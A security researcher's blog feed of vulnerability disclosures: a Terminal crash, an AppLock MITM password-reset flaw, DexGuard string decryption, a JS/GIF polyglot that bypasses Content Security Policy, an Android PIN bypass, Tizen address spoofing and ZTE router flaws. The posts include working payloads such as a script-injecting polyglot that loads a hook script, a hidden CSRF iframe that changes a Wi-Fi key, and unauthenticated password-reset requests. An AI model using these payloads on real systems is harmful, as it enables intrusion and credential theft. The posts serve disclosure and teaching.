0x7fff8bbced79: vmovups ymmword ptr [rax + 0x20], ymm3
0x7fff8bbced7e: vmovups ymmword ptr [rax], ymm4
0x7fff8bbced82: pop rbp
0x7fff8bbced83: vzeroupper
0x7fff8bbced86: ret
(lldb)
</code></pre><p>This appears to be a possible<strong> out of bound read/write </strong>in <b>memmove()</b>
.As per the memmove source code available here: <a href="http://www.opensource.apple.com/source/ntp/ntp-13/ntp/libntp/memmove.c">http://www.opensource.apple.com/source/ntp/ntp-13/ntp/libntp/memmove.c</a>
memmove() takes three parameters the <strong>destination</strong>, <strong>source</strong> and <strong>size. </strong>Here I suspect that the crash happens during a backward copy from <strong>destination</strong> to <strong>source,</strong> resulting in an underflow read. In real world this is difficult to exploit due to limited buffer space.
<br><br>Crash PoC : <a href="https://github.com/ajinabraham/PoC/blob/master/terminal-poc">Download</a>
To trigger the crash, Open your OS X Mavericks Terminal and do a<strong> cat</strong> on the PoC file.
<br></p><pre><code class="bash">cat terminal-poc</code></pre>The issue was reported to Apple Product Security on 28th June 2015 and after so much follow up from both sides they finally concluded that they won't fix it as the crash is not reproducible on OS X Yosemite. I would like to thank my friend <a href="https://twitter.com/dhanesh_k">Dhanesh Kizhakkinan</a> for helping me with the crash analysis.
<br>Ajin AbrahamAppLock MITM Password Reset Vulnerability2015-08-05T00:00:00Ztag:ajinabraham.com,2015-08-05:/blog/applock-mitm-password-reset-vulnerability<p>Applock is a one of the most common Application Lock utility for android devices that allows anyone to Lock Applications in their android device. If you lock an Application with AppLock, when ever you Launch or resume that Application, AppLock will set a password screen before you. The vulnerability lies in AppLock’s Forgot Password feature.<br><br><img src="/static/img/blog/2017_03_27_AppLock.png" style="width: 383px; margin: 0px auto;" class="img-responsive center-img"><br></p><h2>Vulnerability</h2>
The vulnerability lies in AppLock’s Forgot Password feature. From a lock screen, you can access the Forgot Password Feature.<br><br><img src="/static/img/blog/2017_03_27_Password-Reset.png" style="width: 384px; margin: 0px auto;" data-filename="2017_03_27_Password-Reset.png" class="img-responsive center-img"><br>It shows an activity where your email address which you have given while installing the application is shown in a disabled EditText. When you click <strong>SEND THE CODE TO SECURITY EMAIL </strong>option, an HTTP request is sent to http://applock.domobile.com/servlet/applock with a POST data containing a parameter named email which contains the email to which the rest code needs to be sent.
<br><br><pre><code class="http"><strong>REQUEST</strong>
POST /servlet/applock HTTP/1.1
Content-Length: 139
Content-Type: application/x-www-form-urlencoded
Host: applock.domobile.com
Connection: Keep-Alive
action=domo_user_reset&app_package=com.domobile.applock&version_code=2015061101&imei=000000000000000&
<span style="color: #ff6600;"><strong>email=xyz%40gmail.com</strong></span>&code_md5=
</code></pre><br> The response to this request is the MD5 of the reset code which will be stored in the device.
<br><br><pre><code class="http"><strong>RESPONSE</strong>
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-cache
Vary: Accept-Encoding
Date: Tue, 28 Jul 2015 14:49:07 GMT
Server: Google Frontend
Alternate-Protocol: 80:quic,p=0
Accept-Ranges: none
Content-Length: 59
{"done":"1","code_md5":"CD18E6BDA8990DDAF6ADD006C6EC64E0"}
</code></pre>
The user can put the reset code received through email into the Forgot Password option to reset the password. AppLock will generate the MD5 of the reset code received form user and compare it with the previously received MD5 in the HTTP response and if they matches then the user is allowed to set a new AppLock Password.
The vulnerability exist in the logical flow that AppLock's server does not validate the email parameter against a user. Attacker can do an MITM and tamper the email parameter with an email that he controls and steal the rest code. The fact that the communication is over HTTP makes MITM very easy and practical. To simulate the attack, I fired up a proxy that will tamper the email parameter on the fly whenever a request is made to http://applock.domobile.com/servlet/applock<a href="http://applock.domobile.com/servlet/applock."></a><br><br><img src="/static/img/blog/2017_03_27_MITM-Python.png" style="width: 808.892px; margin: 0px auto; height: 174.896px;" data-filename="2017_03_27_MITM-Python.png" class="img-responsive center-img"><h2>PoC Video</h2><br><div class="embed-responsive embed-responsive-16by9"><iframe src="https://www.youtube.com/embed/mOtfcRO5D7M" width="420" height="315" frameborder="0" align="center" allowfullscreen="allowfullscreen" class="embed-responsive-item"></iframe></div><br>This is a simple client side attack that requires the attacker to be in the same network for doing the MITM and access to the device to enter the reset code.
<strong><br></strong><h2>Vulnerability Disclosure </h2><br>We follow 30 days disclosure policy.
<br>Reported: 5th July 2015
<br>Acknowledgement: 6th July 2015
<br>Published: 5th August 2015<br><p></p>Ajin AbrahamReversing DexGuard’s String Encryption2015-06-11T00:00:00Ztag:ajinabraham.com,2015-06-11:/blog/reversing-dexguard-string-encryption<a href="https://www.guardsquare.com/software/dexguard-enterprise">DexGuard</a> is a commercial tool used for protecting android binaries (APK) mainly from reversing and tampering. It provides features like code obfuscation, class encryption, string encryption, asset/resource encryption, tamper protection, anti-debugger checks, VM/Environment checks, SSL pinning etc. This blog post explains the decryption or reversing of DexGuard's string encryption. My colleague, Sachinraj collaborated with me for this research. After analysis, we found that DexGuard string encryption is more of an obfuscation that can be reversed with some effort. A sample android application is compiled with DexGuard String and Class encryption enabled.
As per DexGuard documentation,
You can encrypt entire classes by specifying them with the option <strong>-encryptclasses</strong>.
For example:<br><br><pre><code>-encryptclasses mypackage.MySecretClass</code></pre> There are a few alternative ways to specify which constant strings in the code should be encrypted, with the option <strong>-encryptstrings</strong>. The shortest way is to specify the strings literally:
<br><br><pre><code>-encryptstrings "Some secret string", "Some other secret string"</code></pre>The <a href="https://github.com/ajinabraham/PoC/tree/master/DexGuard_String_Decryption/SRC">sample android application</a> contains two activity. The first activity contains an OK button which on press will invoke the second activity using Intent. We pass a hardcoded secret string from first activity to the second activity via Intent extra.
The source code of the first activity (MainActivity.java) is shown below:
<br><br><pre><code class="java">package opensecurity.dexreversedemo;
import android.content.Intent;
import android.os.Bundle;
import android.support.v7.app.ActionBarActivity;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
public class MainActivity extends ActionBarActivity
{
public Button bt;
private final static String secret="SuperZS3cur!ty0R0CK3S";
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
bt=(Button)findViewById(R.id.button);
bt.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v)
{
Intent ask = new Intent(MainActivity.this, Secret.class);
ask.putExtra("SECURE",secret);
startActivity(ask);
}
});
}
-----SNIPPED------
}</code></pre><br> We defined the following rules in<strong> dexguard-project.txt<br><br></strong>
<pre><code>-encryptstrings "SuperZS3cur!ty0R0CK3S"
-encryptclasses opensecurity.dexreversedemo.MainActivity,opensecurity.dexreversedemo.Secret
</code></pre>
The above rules should encrypt the string <strong>SuperZS3cur!ty0R0CK3S </strong>and encrypt the classes <strong>MainActivity</strong> and <strong>Secret</strong>. We compiled the code with DexGuard enabled and analysed the <a href="https://github.com/ajinabraham/PoC/blob/master/DexGuard_String_Decryption/DexGuard_Protected_APK.apk">APK</a> using <a href="https://github.com/ajinabraham/YSO-Mobile-Security-Framework">Mobile Security Framework</a> which is configured to use the <a href="http://www.benf.org/other/cfr/">CFR </a>decompiler. You can also use CFR decompiler in standalone to decompile the APK. Due to the protection enforced by DexGuard, we got large chunk of decompiled java files with strange names.
<br><br><img class="alignnone size-large wp-image-895 img-responsive" src="/static/img/blog/2017_03_27_java_source.png" alt="java_source" width="720" height="420"><br><br>
Since we have the MainActivity.java, we started our analysis from there.
<br><br><img class="alignnone size-full wp-image-899 img-responsive" src="/static/img/blog/2017_03_27_mobile_security_framework_decompile.png" alt="mobile_security_framework_decompile" width="781" height="646" style="width: 724.731px; height: 600.385px;"><br><br>
Here if you observe the above decompiled code, there are two strange imports.
<strong>import o.\u062f;</strong>
<strong> import o.\u706c;</strong>
<div class="line number22 index21 alt1">As the decompiled source contains the following code,
<strong><strong><strong><strong>
public class MainActivity extends \u062f {
public Button \u02c9;<br><br></strong></strong></strong></strong></div>
<div class="line number24 index23 alt1"><img class="alignnone size-large wp-image-900 img-responsive" src="/static/img/blog/2017_03_27_button_bt.png" alt="button_bt" width="720" height="169"></div>
<div class="line number24 index23 alt1"><br>If you compare it with our initial source code, you can easily conclude that <strong>\u062f</strong> is nothing but <strong>ActionBarActivity </strong>and <strong>\u02c9</strong> is the button variable <strong>bt</strong>.</div>
<div class="line number24 index23 alt1">Lets look into the second import file <strong>o.\u706c</strong>.
If you convert <strong>\u706c </strong>to unicode text, you will get 灬.
Now we need to find the file <strong>o/灬.java
<br><br></strong>
<img class="alignnone size-large wp-image-902 img-responsive" src="/static/img/blog/2017_03_27_obfs_file.png" alt="obfs_file" width="720" height="301"><br><br></div>
<div class="line number24 index23 alt1">The file contains the following code<br><br></div>
<div class="line number68 index67 alt1"></div>
<pre><code class="java">package o;
import android.content.Context;
import android.content.Intent;
import android.view.View;
import o.\ufb59$\u0640;
import opensecurity.dexreversedemo.MainActivity;
public class \u706c
implements View.OnClickListener {
private static final byte[] \u02cb = new byte[]{110, -49, 71, -112, 33, -6, -12, 12, -25, -8, -33, 47, 17, -4, -82, 82, 4, -74, 33, -35, 18, 7, -25, 31};
private static int \u02ce = 62;
final /* synthetic */ MainActivity \u02ca;
public \u706c(MainActivity mainActivity) {
this.\u02ca = mainActivity;
}
/*
* Unable to fully structure code
* Enabled aggressive block sorting
* Lifted jumps to return sites
*/
private static String \u02ca(intvar0, intvar1_1, intvar2_2) {
var2_2 = var2_2 * 4+ 4;
var7_3 = var0 * 3+ 83;
var6_4 = -1;
var3_5 = \u706c.\u02cb;
var8_6 = var1_1 * 3+ 21;
var4_7 = newbyte[var8_6];
var1_1 = var6_4;
var5_8 = var7_3;
var0 = var2_2;
if(var3_5 != null) ** GOTO lbl19
var0 = var2_2;
var5_8 = var7_3;
var7_3 = var2_2;
var1_1 = var6_4;
var2_2 = var0;
do{
var0 = var7_3 + 1;
var5_8 = var2_2 + var5_8 + 1;
lbl19: // 2 sources:
var4_7[++var1_1] = (byte)var5_8;
if(var1_1 == var8_6 - 1) {
return new String(var4_7, 0);
}
var2_2 = var5_8;
var5_8 = var3_5[var0];
var7_3 = var0;
} while(true);
}
public void onClick(View view) {
view = newIntent((Context)this.\u02ca, \ufb59$\u0640.\u141d("o.\ufb59"));
view.putExtra("SECURE", \u706c.\u02ca(0, 0, 0).intern());
this.\u02ca.startActivity((Intent)view);
}
}
</code></pre>
<div class="line number68 index67 alt1">This decompiled code looks like CFR decompiler failed at some places to decompile it completely but gave us a good hint about the logic. If you analyse the code, you can see the line which contains the code.</div><div class="line number68 index67 alt1"><br></div><div><pre><code class="java">view.putExtra("SECURE", \u706c.\u02ca(0, 0, 0).intern());</code></pre></div><div class="line number68 index67 alt1"><br></div>
This looks similar to <code>ask.putExtra("SECURE",secret);</code> in our initial source code. Now it's clear that <code class="java plain">\u706c.\u02ca(</code><code class="java value">0</code><code class="java plain">, </code><code class="java value">0</code><code class="java plain">, </code><code class="java value">0</code><code class="java plain">).intern()</code> method is responsible for decrypting the encrypted secret at Runtime. If we can successfully recreate this method, then we will be able to decrypt the secret. CFR decompiler did half the job for us and remaining is on us.
We created a Java program with the above decryption method and it welcomed us with lots of errors.
We added appropriate data types but still we had some missing code there. After looking into this code, We figured out the pseudo logic of the decryption method.
This line <code class="java keyword">if</code><code class="java plain">(var3_5 != </code><code class="java keyword">null</code><code class="java plain">) ** GOTO lbl19 </code>gave us a hint about the logic.
<strong>var3_5</strong> is nothing but the byte array <strong>\u02cb</strong>. It will never become null. So the following code (marked in red) will never get invoked.
<br><br><img class="alignnone size-full wp-image-904 img-responsive" src="/static/img/blog/2017_03_27_looping.png" alt="looping" width="609" height="496" style="width: 725.298px; height: 591.91px;"><br><br>
So we removed those unnecessary code and again if you carefully observe the code, you can see that <strong>GOTO lbl19</strong> goes inside the do-while loop and there is two lines of code (marked in blue) which is skipped for the first time execution of the loop and when the first loop is finished, the successive loops will include the code. So we quickly wrote a PoC with that logic.
File: <strong>DexRev.java<br><br></strong>
<pre><code class="java">
public class DexRev {
private static final byte[] \u02cb = new byte[]{110, -49, 71, -112, 33, -6, -12, 12, -25, -8, -33, 47, 17, -4, -82, 82, 4, -74, 33, -35, 18, 7, -25, 31};
public static void main(String args[]) throws Exception
{
System.out.println("Decrypted: " + DexRev.\u02ca(0, 0, 0).intern());
}
private static String \u02ca(int var0, int var1_1, int var2_2) {
var2_2 = var2_2 * 4 + 4;
int var7_3 = var0 * 3 + 83;
int var6_4 = -1;
byte[] var3_5 = DexRev.\u02cb;
int var8_6 = var1_1 * 3 + 21;
byte [] var4_7 = new byte[var8_6];
var1_1 = var6_4;
int var5_8 = var7_3;
var0 = var2_2;
boolean firsttime=true;
do {
if(!firsttime){
var0 = var7_3 + 1;
var5_8 = var2_2 + var5_8 + 1;
}
firsttime=false;
var4_7[++var1_1] = (byte)var5_8;
if (var1_1 == var8_6 - 1) {
return new String(var4_7, 0);
}
var2_2 = var5_8;
var5_8 = var3_5[var0];
var7_3 = var0;
} while (true);
}
}
</code></pre>
If you run the above PoC, you will get the output.
<p class="p1">Decrypted: <strong>SuperZS3cur!ty0R0CK3S</strong></p>
And DexGuard's so called String Encryption is reversed!.
<strong>NOTE</strong>
Later we came to know about an old <a href="https://www.pnfsoftware.com/blog/2013/04/02/a-look-inside-dexguard/">blog</a> that talks about string decryption in DexGuard. We also found that the blog was talking about the issue identified in an older version of DexGuard and we saw the following comment from the author of DexGuard.
<img class="alignnone size-full wp-image-918 img-responsive" src="/static/img/blog/2017_03_27_eric.png" alt="eric" width="664" height="320" style="width: 726.725px; height: 350.229px;">
<strong>Disclosure</strong>
This issue was reported to Eric, the founder of ProGuard and DexGuard. Eric Acknowledged the Report asked for a PoC and mentioned that string encryption is lightweight and when employed with class encryption, it will be difficult to obtain the plaintext information.<br><br>Ajin AbrahamBypassing Content Security Policy with a JS/GIF Polyglot2015-06-10T00:00:00Ztag:ajinabraham.com,2015-06-10:/blog/bypassing-content-security-policy-with-a-jsgif-polyglot<p></p><p></p><h2>The Scenario</h2>
Consider a pentesting scenario where you are working with a web application that uses Content Security Policy which prevents it from executing inline JavaScript but allows to execute JS source files loaded from same domain. The web application is having a <a href="http://en.wikipedia.org/wiki/WYSIWYG">WYSIWYG</a> editor that allows writing HTML and uploading images. In this scenario how will you execute some JavaScript.
<h2>The Solution</h2>
<div class="separator"><img src="/static/img/blog/2017_03_26_gif-js-polyglot.jpg" style="width: 724.889px; height: 326.863px; margin: 0px auto;" data-filename="2017_03_26_gif-js-polyglot.jpg" class="img-responsive"><br></div><div class="separator">What if an image can serve JS code? Researcher <a href="https://twitter.com/angealbertini" target="_blank">Ange Albertini</a> had come up with a technique to abuse the GIF header and add JS code to a GIF file resulting in a GIF file that is a valid GIF and JS file at the same time also known as JS/GIF Polyglot.<br></div><p></p><p>
Let's see how we can build a GIF file that can serve JS.</p><p>
Download the YASM compiler from <a href="http://yasm.tortall.net/Download.html">http://yasm.tortall.net/Download.html</a><br>and this asm file: <a href="https://gist.github.com/ajinabraham/f2a057fb1930f94886a3">https://gist.github.com/ajinabraham/f2a057fb1930f94886a3</a> </p><p>Your PoC JS code can be just "alert(0)" or for Red Team Pentesting I would suggest you to use OWASP Xenotix XSS Exploit Framework (as I wrote it) or Beef (an alternative). In this post i will be using Xenotix. <br><br>Download Latest Xenotix from <a href="https://drive.google.com/file/d/0B_Ci-1YbMqshNHc3RFRPTzcyM00/view?usp=sharing">https://drive.google.com/file/d/0B_Ci-1YbMqshNHc3RFRPTzcyM00/view?usp=sharing</a>
</p><p></p><p>
First of all run Xenotix and Start Server from <strong>Settings -> Configure Server</strong></p><p><img src="/static/img/blog/2017_03_26_xenotix-xss-exploit-framework.png" style="width: 733.709px; height: 441.372px; margin: 0px auto;" data-filename="2017_03_26_xenotix-xss-exploit-framework.png" class="img-responsive"></p><p>Once you start the server, copy the Xenotix xook URL. Open <strong>gifjs.asm</strong> in a Text Editor and scroll down to the bottom and add the following JavaScript in data byte.</p><p>
</p><pre><code class="js">s = document.createElement("script");
s.src = "http://127.0.0.1:5058/xook.js"; //Xenotix xook URL
document.body.appendChild(s);</code></pre>
<p></p><p>In our case we need to dynamically add the Xenotix xook to the page that loads the GIF file as JS so that we can perform other advanced attacks from that xooked (hooked) page.
Here is the <strong>gifjs.asm</strong> after adding the JS code</p><p>
</p><pre><code class="asm">; a hand-made GIF containing valid JavaScript code
; abusing header to start a JavaScript comment
; inspired by Saumil Shah's Deadly Pixels presentation
; Ange Albertini, BSD Licence 2013
WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment
HEIGTH equ 100 ; just to make it easier to spot
db 'GIF89a'
dw WIDTH, HEIGTH
db 0 ; GCT
db -1 ; background color
db 0 ; default aspect ratio
;db 0fch, 0feh, 0fch
;times COLORS db 0, 0, 0
; no need of Graphic Control Extension
; db 21h, 0f9h
; db GCESIZE ; size
; gce_start:
; db 0 ; transparent background
; dw 0 ; delay for anim
; db 0 ; other transparent
; GCESIZE equ $ - gce_start
; db 0 ; end of GCE
db 02ch ; Image descriptor
dw 0, 0 ; NW corner
dw WIDTH, HEIGTH ; w/h of image
db 0 ; color table
db 2 ; lzw size
;db DATASIZE
;data_start:
; db 00, 01, 04, 04
; DATASIZE equ $ - data_start
db 0
db 3bh ; GIF terminator
; end of the GIF
db '*/' ; closing the comment
db '=1;' ; creating a fake use of that GIF89a string
db 's = document.createElement("script");'
db 's.src = "http://127.0.0.1:5058/xook.js";'
db 'document.body.appendChild(s);'</code></pre>
<p></p><p>Now lets compile the file.
<strong>yasm gifjs.asm -o img.gif</strong>
Let's test our Bi-format valid GIF file.
Let's create an HTML file with the following source.<br></p><p></p>
<pre><code class="html"><img src="img.gif">
<script src="img.gif"></script>
</code></pre>
Open the HTML file in a browser and you will see an image in the browser. Press F12 and go to your console.<p></p><p><img src="/static/img/blog/2017_03_26_js-polyglot.jpg" style="width: 727.172px; height: 354.354px; margin: 0px auto;" data-filename="2017_03_26_js-polyglot.jpg" class="img-responsive"></p><p>
Now you can see a message in the console (for Chrome),
<i> </i></p><p><i>Resource interpreted as Script but transferred with MIME type image/gif: "file:///C:/Users/Ajin/Desktop/jspics/img.gif".</i>
</p><p>This just give us a hint that the page had requested and interpreted a GIF as JS. This is useful for malware analysts to identify malwares embedded in images. Malwares use this technique to deliver exploit codes and bypass detection. Well back to our scenario. Now the page is xooked and you can use Xenotix to fire up some XSS Exploits. <br></p><p>Let's use the IP2Gelocation Module, Go back to Xenotix and run the IP2Geolocation module from
<strong>Information Gathering -> Victim Fingerprinting -> IP2Geolocation.</strong>
Click on Fingerprint and you will get something like this.</p><p><img src="/static/img/blog/2017_03_26_xenotix-exploitation.jpg" style="width: 735.749px; height: 437.569px; margin: 0px auto;" data-filename="2017_03_26_xenotix-exploitation.jpg" class="img-responsive"><br></p><div class="article-content entry-content">
<div dir="ltr">
It's not just GIF, even other image formats like BMP and JPEG can also hide JavaScript in them. Happy Hacking!
</div>
</div>
<div class="article-footer"><strong>NOTE</strong>: This is a re-post of my old personal <a href="http://iamajin.blogspot.in/2014/11/when-gifs-serve-javascript.html">blog</a> published on 02-11-2014 as I wanted to keep all the important things at one place.</div><p></p><p></p>Ajin AbrahamBypassing PIN in Whisper Android Application2015-04-23T00:00:00Ztag:ajinabraham.com,2015-04-23:/blog/bypassing-pin-in-whisper-android-application<p>Last week I was doing some testing with <a title="Mobile Security Framework" href="https://github.com/MobSF/Mobile-Security-Framework-MobSF" target="_blank">Mobile Security Framework</a> on some random APKs. In this post, I will talk about one issue that was identified in Whisper Android Application.</p>
<p>The following is the screenshot of Static Analysis Report form Mobile Security Framework.</p><p><img src="/static/img/blog/2017_03_26_MobSF.png" style="width: 720.282px; height: 364.257px; margin: 0px auto;" data-filename="2017_03_26_MobSF.png" class="img-responsive"><br></p><p>From the Manifest Analysis Section, It was found that lot of Activities where exported.</p>
<p><img src="/static/img/blog/2017_03_26_MobSF-Manifest-Analysis.png" style="width: 718.893px; height: 364.924px; margin: 0px auto;" data-filename="2017_03_26_MobSF-Manifest-Analysis.png" class="img-responsive"><br></p>
<p>For Android Applications, activities are nothing but the GUI view of the application at an instance. If activities are exposed that means any other applications running in the device can invoke these activities provided, proper permissions are not set on them. If <strong>android:exported</strong> attribute of an activity is set to <strong>true </strong>in <strong>AndroidManifest.xml</strong>, then that means the activity is exported.</p>
<p>Following where the <strong>Exported Activities</strong>.</p>
<p>sh.whisper.WWhisperBrowserActivity<br>
sh.whisper.WRelatedActivity<br>
sh.whisper.WDiscoverActivity<br>
sh.whisper.WCategoryFeedActivity<br>
sh.whisper.WSettingsActivity<br>
sh.whisper.WShareActivity<br>
sh.whisper.WQuickCreateActivity<br>
sh.whisper.WUserActivity<br>
sh.whisper.WNotificationsActivity<br>
sh.whisper.WInboxActivity<br>
sh.whisper.WAddGroupActivity</p>
<p>Exported Attribute set to true in <strong>AndroidManifest.xml</strong></p>
<p><img src="/static/img/blog/2017_03_26_whisper-android-manifest.png" data-filename="2017_03_26_whisper-android-manifest.png" style="width: 718.927px; height: 295.146px; margin: 0px auto;" class="img-responsive"><br></p>
<p>The Whisper application is having a feature to set a PIN to protect unauthorised users from viewing the notification, message etc. Since the activity that corresponds to Messages (sh.whisper.WInboxActivity) and Notifications (sh.whisper.WNotificationsActivity) are exported, we can bypass the PIN functionality by invoking these activities form another application.</p>
<p>I quickly coded up a PoC app that can bypass Whisper PIN.<br>
Download PoC from here: <a href="https://drive.google.com/open?id=0B_Ci-1YbMqshb2QtMEVTLUhYXzg" target="_blank">PoC-Whisper.apk</a><br><a href="https://drive.google.com/open?id=0B_Ci-1YbMqshZDI5OGhLTGNSR1U&authuser=0" target="_blank">
</a>Download vulnerable Whisper APK here: <a href="https://drive.google.com/open?id=0B_Ci-1YbMqshN0VXZWpyNmQ4eXM" target="_blank">sh.whisper.apk</a></p>
<h3>Video Demonstration</h3>
<p>
</p>
<div class="embed-responsive embed-responsive-16by9"><iframe class="embed-responsive-item" frameborder="0" src="//www.youtube.com/embed/l7yIcYcg0LA" width="640" height="360" allowfullscreen="allowfullscreen"></iframe></div>
<br><p></p>
<h2>About Mobile Security Framework</h2>
<p>Mobile Security Framework is an intelligent, all-in-one open source mobile application (Android/iOS) automated pen-testing framework capable of performing static and dynamic analysis. We’ve been depending on multiple tools to carry out reversing, decoding, debugging, code review, and pen-test and this process requires a lot of effort and time. YSO Mobile Security Framework can be used for effective and fast security analysis of Android APK/Android app source code/iOS app source code.</p>
<p>Download it from : <a href="https://github.com/ajinabraham/YSO-Mobile-Security-Framework" target="_blank"><strong>GitHub</strong></a></p>
<p><strong>NOTE:</strong><br>
This issue was disclosed to Whisper Security Team and received a response that it’s a known issue.</p>Ajin AbrahamTizen 2.2.1 WebKit Address Spoofing2014-12-23T00:00:00Ztag:ajinabraham.com,2014-12-23:/blog/tizen-221-webkit-address-spoofing<p>While doing research on Tizen operating system, I found a vulnerability in the default web browser that uses WebKit. It is an address bar spoofing vulnerability that allows an attacker to show a webpage with arbitrary content and set it to any URL or domain of choice. This was a previously identified webkit bug that was not fixed in Tizen's browser implementation.</p><h3>Screenshot PoC</h3><p><img src="/static/img/blog/2017_03_26_tizen-webkit-address-spoofing.png" style="margin: 0 auto;width: 490.092px; height: 838.896px;" data-filename="2017_03_26_tizen-webkit-address-spoofing.png" class="img-responsive"><br></p><p></p><h3>PoC Code</h3><pre><code class="html"><!--
Title: Tizen 2.2.1 WebKit Address Spoofing Vulnerability
Author: Ajin Abraham | @ajinabraham
Website: http://opensecurity.in
Affected Product: Tizen Default Browser
Affected Version: Tizen 2.2.1
-->
<html>
<head><title>Tizen Browser - Address bar spoofing</title>
<script>
w=window.open('<a href="https://facebook.com/&apos" rel="nofollow">https://facebook.com/'</a>);
w.document.write("<h1>You 've been Hacked</h1>");
w.focus();
</script>
</html>
</code></pre>
<h3><br></h3><h3>Video</h3>
<div class="embed-responsive embed-responsive-16by9"><iframe src="//www.youtube.com/embed/QKbTSxlCX7c" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen" class="embed-responsive-item"></iframe></div><p></p>Ajin AbrahamMTS MBlaze Ultra Wi-Fi / ZTE AC3633 Multiple Vulnerabilities2014-07-21T00:00:00Ztag:ajinabraham.com,2014-07-21:/blog/mts-mblaze-ultra-wi-fi-zte-ac3633-multiple-vulnerabilities<p></p><p>Recently I bought a MTS MBlaze 3G Plus Wi-Fi USB Modem. I picked it because, it got pretty good tariff plans & speed compared to other providers in my area. The interesting thing is that, it allowed up to 5 devices to connect to it via Wi-Fi. So it appears to me as a fast, cheap and portable broadband alternative. This device is manufactured by ZTE, a Chinese multinational telecommunications equipment and systems company.</p><p><img src="/static/img/blog/2017_03_26_mts_usb_dongle.jpg" style="width: 736.519px; height: 423.674px;" data-filename="2017_03_26_mts_usb_dongle.jpg" class="img-responsive"></p><p>MBlaze has two way of operation
</p><ol>
<li>Connect to Computer and use it like any other USB Net setter.</li>
<li>Connect to a 5V charger and it will start a Wi-Fi network with connectivity up to 5 devices.</li>
</ol>
As I am a Security Guy, I checked the Router web interface of the device and was surprised to see hell lot of vulnerabilities in a new Device.
One thing I noticed is that Wi-Fi WPA/WPA2/WEP Key is shown as plain text in the text box.<p></p><p><img src="/static/img/blog/2017_03_26_mblaze_wifi_password.png" style="width: 747.217px; height: 524.007px;" data-filename="2017_03_26_mblaze_wifi_password.png" class="img-responsive"><br></p><p>After some digging outs, it was found that the passwords are hard coded in the source code. The router web interface password is hard coded in the password reset page.</p><p><img src="/static/img/blog/2017_03_26_mblaze_router_password.png" style="width: 733.578px; height: 432.451px;" data-filename="2017_03_26_mblaze_router_password.png" class="img-responsive"><br></p><p>The worst thing was that the session maintaining cookie used by the router web interface is static. This Cookie (<strong>iusername=logined</strong>) is all you need to get an authenticated session. As this session cookie is constant all the times, simply setting the cookie will give access to protected pages in the web interface.
Another issue I found was, that you can reset the router web interface password without knowing old password. You don’t even need the session cookie for password resetting. The following request is a PoC to reset the password without knowing the old password and with an unauthenticated session. This will be considered under OWASP Top 10- A4, Insecure Direct Object Reference.
</p><pre><code class="http">POST /goform/formSyWebCfg HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.1.1/en/password.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,es;q=0.6,ms;q=0.4
Content-Length: 52
action=Apply&sys_cfg=changed&sys_password=newpass
</code></pre>
Most of the forms in the Router web interface lacks CSRF tokens which essentially make them vulnerable to Cross Site Request Forgery.
Putting it all together, I made a quick dirty python POC exploit for MTS MBlaze Ultra Wi-Fi / ZTE AC3633 that can do the following things.<p></p><p>
</p><ol>
<li>Bypass Login</li>
<li>Extract IP Address, Subnet, Gateway Information</li>
<li>Steal Router Credentials</li>
<li>Steal Wi-Fi WPA/WPA2/WEP Key</li>
<li>Reset Password without old password and valid session</li>
<li>List out the CSRF affected pages</li>
</ol>
<h3>Download Exploit</h3>
<a href="https://github.com/ajinabraham/PoC/blob/master/MTS%20MBlaze%20Ultra%20Wi-Fi_ZTE%20AC3633%20Exploit.py" target="_blank">GitHub</a>
<h3>Screenshot : PoC Exploit</h3>
<h2><img src="/static/img/blog/2017_03_26_mts-dongle-exploit.png" style="width: 741.166px; height: 621.347px;" data-filename="2017_03_26_mts-dongle-exploit.png" class="img-responsive"><br><br></h2><h3>Attack Scenario</h3>
Initially attacker will exploit CSRF and make the victim to visit a page containing the following IFRAME
<pre><code class="html"><iframe src="http://192.168.1.1/goform/formSyWebCfg?wl_encryption_protocol=3&wl_wpa_psk_mode=0&wl_wpa_psk_key=xboz&wl_auth_mode=0&oem_cfg=changed&action=Apply" width="0" height="0"></code></pre>
Now the Wi-Fi Key is changed to <strong>xboz</strong>. From this point, the attacker can connect to the Wi-Fi network and execute the exploit to gain access to the MTS device.
<h3>Disclaimer</h3>
For Educational and Research Purpose Only.<p></p><p></p>Ajin Abraham